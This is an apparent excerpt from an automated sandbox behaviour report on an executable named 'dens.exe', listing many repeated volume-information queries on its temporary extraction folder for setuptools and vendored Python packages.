Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\autocommand-2.2.2.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\autocommand-2.2.2.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\backports.tarfile-1.2.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\backports.tarfile-1.2.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_metadata-8.0.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_metadata-8.0.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_metadata-8.0.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_metadata-8.0.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_metadata-8.0.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_resources-6.4.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_resources-6.4.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_resources-6.4.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\inflect-7.3.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\inflect-7.3.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\inflect-7.3.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\inflect-7.3.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\inflect-7.3.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.context-5.3.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.context-5.3.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.context-5.3.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.context-5.3.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.functools-4.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.functools-4.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.functools-4.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.functools-4.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.text-3.12.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.text-3.12.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.text-3.12.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\more_itertools-10.3.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\packaging-24.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\packaging-24.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\packaging-24.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\packaging-24.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\platformdirs-4.2.2.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\platformdirs-4.2.2.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\platformdirs-4.2.2.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\tomli-2.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\tomli-2.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typeguard-4.3.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typeguard-4.3.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typeguard-4.3.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typing_extensions-4.12.2.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typing_extensions-4.12.2.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typing_extensions-4.12.2.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typing_extensions-4.12.2.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
